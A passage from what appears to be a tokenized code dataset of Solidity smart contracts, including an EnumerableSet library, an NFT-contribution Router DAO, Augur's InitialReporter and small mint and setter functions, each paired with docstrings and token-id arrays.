set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } interface IMerge { function balanceOf(address account) external view returns (uint256); function massOf(uint256 tokenId) external view returns (uint256); function tokenOf(address account) external view returns (uint256); function getValueOf(uint256 tokenId) external view returns (uint256); function decodeClass(uint256 value) external view returns (uint256); function safeTransferFrom(address from, address to, uint256 tokenId) external; function isWhitelisted(address account) external view returns (bool); function isBlacklisted(address account) external view returns (bool); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC20Mintable { function mint(address to, uint256 amount) external; } interface IWalletProxyManager { function indexToWallet(uint256 class, uint256 index) external view returns (address); function currentIndex(uint256 class) external view returns (uint256); } interface IWalletProxyFactory { function createWallet(uint256 class) external returns (address); } contract Router is Ownable { using EnumerableSet for EnumerableSet.AddressSet; /** * @dev Emitted when `account` contributes `tokenId` with `mass` to DAO. */ event Contribute(address indexed account, address indexed wallet, uint256 tokenId, uint256 class, uint256 weight); uint256 public totalWeight; // The cumulative weight of contributed NFTs address public merge; // The Merge contract address public gToken; // Governance token address public manager; // Wallet proxy manager address public factory; // factory contract address address public contender; // AlphaMass contender wallet, only tier 1 NFTs are sent to this AlphaMass wallet address public red; // red wallet for tier 4 address public yellow; // yellow wallet for tier 3 address public blue; // blue wallet for tier 2 uint256 public constant WEIGHT_MULTIPLIER = 10_000 * 1e9; // a multiplier to a weight uint256 public BONUS_MULTIPLIER; // a bonus multiplier in percentage uint256 public cap; // The soft cap for a wallet of a certain classId bool public isEnded; // a bool indicator on whether the game has ended. mapping(address => mapping(uint256 => uint256)) public weights; // weights of each contributor by class mapping(address => uint256[]) public contributedClasses; // Contributed classes mapping(uint256 => uint256) public contributionsOfEachClass; // num of contributions for each class mapping(address => bool) public specialWallets; // DAO, contender, blue, red, yellow are all special wallets EnumerableSet.AddressSet contributors; // Contributors to this DAO /** * @param merge_ address contract address of merge * @param gToken_ address contract address of governance token * @param manager_ address contract address for wallet manager * @param factory_ address contract address for wallet factory * @param contender_ address AlphaMass Contender wallet * @param blue_ address wallet for tier blue * @param yellow_ address wallet for tier yellow * @param red_ address wallet for tier red */ constructor( address merge_, address gToken_, address manager_, address factory_, address contender_, address blue_, address yellow_, address red_) { if (merge_ == address(0) || gToken_ == address(0) || manager_ == address(0) || factory_ == address(0) || contender_ == address(0) || blue_ == address(0) || yellow_ == address(0) || red_ == address(0)) revert("Invalid address"); cap = 50; // soft cap BONUS_MULTIPLIER = 120; merge = merge_; gToken = gToken_; manager = manager_; factory = factory_; contender = contender_; blue = blue_; yellow = yellow_; red = red_; specialWallets[contender] = true; specialWallets[blue] = true; specialWallets[yellow] = true; specialWallets[red] = true; } /** * @dev Make a contribution with the nft in the caller's wallet. */ function contribute() external { require(!isEnded, "Already ended"); address account = _msgSender(); require(!_validateAccount(account), "Invalid caller"); _contribute(account); } /** * @dev Toggle the special status of a wallet between true and false. */ function toggleSpecialWalletStatus(address wallet) external onlyOwner { specialWallets[wallet] = !specialWallets[wallet]; } /** * @dev Transfer NFTs if there is any in this contract to address `to`. */ function transfer(address to) external onlyOwner { require(isEnded, "Not ended"); uint256 tokenId = _tokenOf(address(this)); require(tokenId != 0, "No token to be transferred in this contract"); require(specialWallets[to], "Must transfer to a special wallet"); _transfer(address(this), to, tokenId); } /** * @dev Required by {IERC721-safeTransferFrom}. */ function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } /** * @dev End the game of competing in Pak Merge. */ function endGame() external onlyOwner { require(!isEnded, "Already ended"); isEnded = true; } /** * @dev Set the soft cap for each wallet. */ function setCap(uint256 cap_) external onlyOwner { cap = cap_; } /** * @dev Set the wallet `contender_` for AlphaMass contentder. */ function setContenderWallet(address contender_) external onlyOwner { contender = contender_; } /** * @dev Set the wallet `red_` for red tier. */ function setRed(address red_) external onlyOwner { red = red_; } /** * @dev Set the wallet `yellow_` for yellow tier. */ function setYellow(address yellow_) external onlyOwner { yellow = yellow_; } /** * @dev Set the wallet `blue_` for blue tier. */ function setBlue(address blue_) external onlyOwner { blue = blue_; } /** * @dev Set the `multiplier_` for BONUS_MULTIPLIER. */ function setBonusMultiplier(uint256 multiplier_) external onlyOwner { if (multiplier_ < 100 || multiplier_ >= 200) revert("Out of range"); BONUS_MULTIPLIER = multiplier_; } /** * @dev Returns if a given `account` is a contributor. */ function isContributor(address account) external view returns (bool) { return contributors.contains(account); } /** * @dev Returns the current active `tokenId` for a given `class`. */ function getTokenIdForClass(uint256 class) external view returns (uint256) { return _tokenOf(_getWalletByClass(class)); } /** * @dev Returns all `tokenId`s for a given `class`. */ function getTokenIdsForClass(uint256 class) external view returns (uint256[] memory) { uint256 index = _getClassIndex(class); uint256[] memory tokenIds = new uint256[](index+1); if (index == 0) { tokenIds[0] = _tokenOf(_getWalletByClass(class)); return tokenIds; } else { for (uint256 i = 0; i < index+1; i++) { tokenIds[i] = _tokenOf(_getWalletByIndex(class, i)); } return tokenIds; } } /** * @dev Returns the mass for `tokenId`. */ function massOf(uint256 tokenId) external view returns (uint256) { return _massOf(tokenId); } /** * @dev Returns the number of contributors to this contract. */ function getNumOfContributors() external view returns (uint256) { return contributors.length(); } /** * @dev Returns the total weight of `account` across all classes. */ function getWeightForAccount(address account) external view returns (uint256 weight) { uint256[] memory classes = contributedClasses[account]; for (uint256 i = 0; i < classes.length; i++) { weight += weights[account][classes[i]]; } } /** * @dev Execute the logic of making a contribution by `account`. */ function _contribute(address account) private { uint256 tokenId = _tokenOf(account); uint256 weight = _massOf(tokenId); (address targetWallet, uint256 class) = _getTargetWallet(tokenId); _transfer(account, targetWallet, tokenId); _mint(account, weight); _updateInfo(account, class, weight); emit Contribute(account, targetWallet, tokenId, class, weight); } /** * @dev Returns the wallet address for given `class` and `index`. */ function _getWalletByIndex(uint256 class, uint256 index) private view returns (address) { return IWalletProxyManager(manager).indexToWallet(class, index); } /** * @dev Returns the currently active wallet address by `class`. */ function _getClassIndex(uint256 class) private view returns (uint256) { return IWalletProxyManager(manager).currentIndex(class); } /** * @dev Returns the target wallet address by `class` and `tokenId`. */ function _getTargetWallet(uint256 tokenId) private returns (address wallet, uint256 class) { uint256 tier = _tierOf(tokenId); class = _classOf(tokenId); if (tier == 4) { wallet = red; } else if (tier == 3) { wallet = yellow; } else if (tier == 2) { wallet = blue; } else if (tier == 1) { if (_massOf(tokenId) >= cap) { wallet = contender; } else { wallet = _getWalletByClass(class); // No wallet for this class has been created yet. if (wallet == address(0)) { wallet = _createWalletByClass(class); require(wallet == _getWalletByClass(class), "Mismatch"); } else { uint256 _tokenId = _tokenOf(wallet); if (_tokenId != 0) { if (_massOf(_tokenId) >= cap) { // Current wallet has reached the cap wallet = _createWalletByClass(class); require(wallet == _getWalletByClass(class), "Mismatch"); } else { if (_classOf(_tokenId) != class) { wallet = _createWalletByClass(class); require(wallet == _getWalletByClass(class), "Mismatch"); } } } } } } } /** * @dev Creates a new wallet for a given `class`. */ function _createWalletByClass(uint256 class) private returns (address) { return IWalletProxyFactory(factory).createWallet(class); } /** * @dev Returns the currently active wallet address by `class`. */ function _getWalletByClass(uint256 class) private view returns (address) { uint256 index = _getClassIndex(class); return IWalletProxyManager(manager).indexToWallet(class, index); } /** * @dev Mint governance tokens based on the weight of NFT the caller contributed */ function _mint(address to, uint256 weight) private { IERC20Mintable(gToken).mint(to, weight * WEIGHT_MULTIPLIER * BONUS_MULTIPLIER / 100); } /** * @dev Transfer NFT with `tokenId` from address `from` to address `to`. * Checking if address `to` is valid is built in the function safeTransferFrom. */ function _transfer(address from, address to, uint256 tokenId) private { _beforeTokenTransfer(from, to, tokenId); IMerge(merge).safeTransferFrom(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev A hook function checking if the mass of the NFT in the `to` wallet * has reached the soft cap before it is being transferred. */ function _beforeTokenTransfer(address, address to, uint256) private view { if (!specialWallets[to]) { if (_tokenOf(to) != 0) { // a non-existent token require(_massOf(_tokenOf(to)) < cap, "Exceeding cap"); } } } /** * @dev A hook function creates a new wallet with the same class to `tokenId` * if the `to` wallet has reached the soft cap. */ function _afterTokenTransfer(address, address to, uint256 tokenId) private { if (!specialWallets[to]) { if (_massOf(_tokenOf(to)) >= cap) { _createWalletByClass(_classOf(tokenId)); } } } /** * @dev Update info for `account` and `tokenId` with `weight` */ function _updateInfo(address account, uint256 class, uint256 weight) private { if (weights[account][class] == 0) { contributors.add(account); weights[account][class] = weight; contributedClasses[account].push(class); } else { weights[account][class] += weight; } totalWeight += weight; contributionsOfEachClass[class]++; } /** * @dev Returns if a given account is whitelisted or blacklisted, or does not * have a Merge NFT. */ function _validateAccount(address account) private view returns (bool) { bool cond1 = IMerge(merge).isWhitelisted(account); bool cond2 = IMerge(merge).isBlacklisted(account); bool cond3 = _balanceOf(account) == 0; return cond1 || cond2 || cond3; } /** * @dev Retrieves the class/tier of token with `tokenId`. */ function _tierOf(uint256 tokenId) private view returns (uint256) { return IMerge(merge).decodeClass(_valueOf(tokenId)); } /** * @dev Retrieves the class of token with `tokenId`, i.e., the last two digits * of `tokenId`. */ function _classOf(uint256 tokenId) private pure returns (uint256) { return tokenId % 100; } /** * @dev Retrieves the value of token with `tokenId`. */ function _valueOf(uint256 tokenId) private view returns (uint256) { return IMerge(merge).getValueOf(tokenId); } /** * @dev Returns the `tokenId` held by `account`. Returns 0 if `account` * does not have a token. */ function _tokenOf(address account) private view returns (uint256) { return IMerge(merge).tokenOf(account); } /** * @dev Returns the `mass` of a token given `tokenId`. */ function _massOf(uint256 tokenId) private view returns (uint256) { return IMerge(merge).massOf(tokenId); } /** * @dev Returns the balance of an `account`, either 0 or 1. */ function _balanceOf(address account) private view returns (uint256) { return IMerge(merge).balanceOf(account); } }
* @dev Execute the logic of making a contribution by `account`./
function _contribute(address account) private { uint256 tokenId = _tokenOf(account); uint256 weight = _massOf(tokenId); (address targetWallet, uint256 class) = _getTargetWallet(tokenId); _transfer(account, targetWallet, tokenId); _mint(account, weight); _updateInfo(account, class, weight); emit Contribute(account, targetWallet, tokenId, class, weight); }
13,049,511
[ 1, 5289, 326, 4058, 434, 10480, 279, 24880, 635, 1375, 4631, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 591, 887, 12, 2867, 2236, 13, 3238, 288, 203, 3639, 2254, 5034, 1147, 548, 273, 389, 2316, 951, 12, 4631, 1769, 203, 3639, 2254, 5034, 3119, 273, 389, 10424, 951, 12, 2316, 548, 1769, 203, 3639, 261, 2867, 1018, 16936, 16, 2254, 5034, 667, 13, 273, 389, 588, 2326, 16936, 12, 2316, 548, 1769, 203, 203, 3639, 389, 13866, 12, 4631, 16, 1018, 16936, 16, 1147, 548, 1769, 203, 3639, 389, 81, 474, 12, 4631, 16, 3119, 1769, 203, 3639, 389, 2725, 966, 12, 4631, 16, 667, 16, 3119, 1769, 203, 203, 3639, 3626, 735, 887, 12, 4631, 16, 1018, 16936, 16, 1147, 548, 16, 667, 16, 3119, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x8F87458Bd8833E9c4FAFC4C5677193B8DE223930/sources/contracts/Catalog.sol
/ Emit event to track ContentURI
function mint(TokenData calldata _data, ContentData calldata _content) external onlyOwner returns (uint256) { require(_data.royaltyBPS < 10000, "royalty !< 10000"); uint256 tokenId = _tokenIdCounter.current(); _mint(msg.sender, tokenId); tokenData[tokenId] = _data; emit ContentUpdated(tokenId, _content.contentHash, _content.contentURI); _tokenIdCounter.increment(); return tokenId; } WRITE @param _tokenId token id corresponding to the token to update @param _content struct containing new/updated contentURI and hash.
673,271
[ 1, 19, 16008, 871, 358, 3298, 3697, 3098, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 1345, 751, 745, 892, 389, 892, 16, 3697, 751, 745, 892, 389, 1745, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 24899, 892, 18, 3800, 15006, 38, 5857, 411, 12619, 16, 315, 3800, 15006, 401, 32, 12619, 8863, 203, 203, 3639, 2254, 5034, 1147, 548, 273, 389, 2316, 548, 4789, 18, 2972, 5621, 203, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 1147, 548, 1769, 203, 3639, 1147, 751, 63, 2316, 548, 65, 273, 389, 892, 31, 203, 203, 3639, 3626, 3697, 7381, 12, 2316, 548, 16, 389, 1745, 18, 1745, 2310, 16, 389, 1745, 18, 1745, 3098, 1769, 203, 203, 3639, 389, 2316, 548, 4789, 18, 15016, 5621, 203, 3639, 327, 1147, 548, 31, 203, 565, 289, 203, 203, 21394, 20967, 203, 3639, 632, 891, 389, 2316, 548, 1147, 612, 4656, 358, 326, 1147, 358, 1089, 203, 3639, 632, 891, 389, 1745, 1958, 4191, 394, 19, 7007, 913, 3098, 471, 1651, 18, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.10; import 'ROOT/libraries/Initializable.sol'; import 'ROOT/reporting/IInitialReporter.sol'; import 'ROOT/reporting/IMarket.sol'; import 'ROOT/reporting/BaseReportingParticipant.sol'; import 'ROOT/libraries/Ownable.sol'; import 'ROOT/IAugur.sol'; /** * @title Initial Reporter * @notice The bond used to encapsulate the initial report for a Market */ contract InitialReporter is Ownable, BaseReportingParticipant, Initializable, IInitialReporter { address private designatedReporter; address private actualReporter; uint256 private reportTimestamp; function initialize(IAugur _augur, IMarket _market, address _designatedReporter) public beforeInitialized { endInitialization(); augur = _augur; market = _market; reputationToken = market.getUniverse().getReputationToken(); designatedReporter = _designatedReporter; } /** * @notice Redeems ownership of this bond for the provided redeemer in exchange for owed REP * @dev The address argument is ignored. There is only ever one owner of this bond, but the signature needs to match Dispute Crowdsourcer's redeem for code simplicity * @return bool True */ function redeem(address) public returns (bool) { bool _isDisavowed = isDisavowed(); if (!_isDisavowed && !market.isFinalized()) { market.finalize(); } uint256 _repBalance = reputationToken.balanceOf(address(this)); require(reputationToken.transfer(owner, _repBalance)); if (!_isDisavowed) { augur.logInitialReporterRedeemed(market.getUniverse(), owner, address(market), size, _repBalance, payoutNumerators); } return true; } function report(address _reporter, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _initialReportStake) public { require(IMarket(msg.sender) == market); require(reportTimestamp == 0, "InitialReporter.report: Report has already been placed"); uint256 _timestamp = augur.getTimestamp(); bool _isDesignatedReporter = _reporter == getDesignatedReporter(); bool _designatedReportingExpired = _timestamp > market.getDesignatedReportingEndTime(); require(_designatedReportingExpired || _isDesignatedReporter, "InitialReporter.report: Reporting time not started"); actualReporter = _reporter; owner = _reporter; payoutDistributionHash = _payoutDistributionHash; reportTimestamp = _timestamp; payoutNumerators = _payoutNumerators; size = _initialReportStake; } function returnRepFromDisavow() public { require(IMarket(msg.sender) == market); require(reputationToken.transfer(owner, reputationToken.balanceOf(address(this)))); reportTimestamp = 0; } function migrateToNewUniverse(address _designatedReporter) public { require(IMarket(msg.sender) == market); designatedReporter = _designatedReporter; reputationToken = market.getUniverse().getReputationToken(); } /** * @notice Used in the event of the market forking. First forks this bond into the appropriate child universe and then redeems there. * @return bool True */ function forkAndRedeem() public returns (bool) { if (!isDisavowed()) { augur.logInitialReporterRedeemed(market.getUniverse(), owner, address(market), size, reputationToken.balanceOf(address(this)), payoutNumerators); } fork(); redeem(msg.sender); return true; } /** * @return The amount of REP currently staked in this bond */ function getStake() public view returns (uint256) { return size; } /** * @return The designated reporter for this market / bond */ function getDesignatedReporter() public view returns (address) { return designatedReporter; } /** * @return When the actual report was made if one was made */ function getReportTimestamp() public view returns (uint256) { return reportTimestamp; } /** * @return Bool indicating if the report was made by the Designated Reporter */ function designatedReporterShowed() public view returns (bool) { return actualReporter == designatedReporter; } /** * @return The REP token associated with this bond */ function getReputationToken() public view returns (IReputationToken) { return reputationToken; } /** * @return Bool indicating if the report was ultimately the finalzied payout */ function initialReporterWasCorrect() public view returns (bool) { return payoutDistributionHash != bytes32(0) && payoutDistributionHash == market.getWinningPayoutDistributionHash(); } function onTransferOwnership(address _owner, address _newOwner) internal { augur.logInitialReporterTransferred(market.getUniverse(), market, _owner, _newOwner); } }
* @notice Used in the event of the market forking. First forks this bond into the appropriate child universe and then redeems there. @return bool True/
function forkAndRedeem() public returns (bool) { if (!isDisavowed()) { augur.logInitialReporterRedeemed(market.getUniverse(), owner, address(market), size, reputationToken.balanceOf(address(this)), payoutNumerators); } fork(); redeem(msg.sender); return true; }
14,056,856
[ 1, 6668, 316, 326, 871, 434, 326, 13667, 12515, 310, 18, 5783, 364, 7904, 333, 8427, 1368, 326, 5505, 1151, 29235, 471, 1508, 283, 323, 7424, 1915, 18, 327, 1426, 1053, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12515, 1876, 426, 24903, 1435, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 309, 16051, 291, 1669, 842, 543, 329, 10756, 288, 203, 5411, 31350, 295, 18, 1330, 4435, 13289, 426, 24903, 329, 12, 27151, 18, 588, 984, 17488, 9334, 3410, 16, 1758, 12, 27151, 3631, 963, 16, 283, 458, 20611, 18, 12296, 951, 12, 2867, 12, 2211, 13, 3631, 293, 2012, 2578, 264, 3062, 1769, 203, 3639, 289, 203, 3639, 12515, 5621, 203, 3639, 283, 24903, 12, 3576, 18, 15330, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFE828d5c2cc4BfF59D5BEa660Dd8c61639F5016c/sources/contracts/Mech.sol
* @dev Sets Encryptor address This encryptor will generate signatures in backend system for assembling/disassembling Requirements - the caller must have the `OPERATOR_ROLE`/
function setEncryptor(address encryptorAddress) external only(OPERATOR_ROLE) { require(encryptorAddress != address(0), "Zero address cannot be used"); encryptor = encryptorAddress; }
16,559,915
[ 1, 2785, 19612, 280, 1758, 1220, 7347, 280, 903, 2103, 14862, 316, 4221, 2619, 364, 20489, 2456, 19, 2251, 345, 5747, 2456, 29076, 300, 326, 4894, 1297, 1240, 326, 1375, 26110, 67, 16256, 68, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 13129, 280, 12, 2867, 7347, 280, 1887, 13, 3903, 1338, 12, 26110, 67, 16256, 13, 288, 203, 3639, 2583, 12, 15890, 280, 1887, 480, 1758, 12, 20, 3631, 315, 7170, 1758, 2780, 506, 1399, 8863, 203, 3639, 7347, 280, 273, 7347, 280, 1887, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 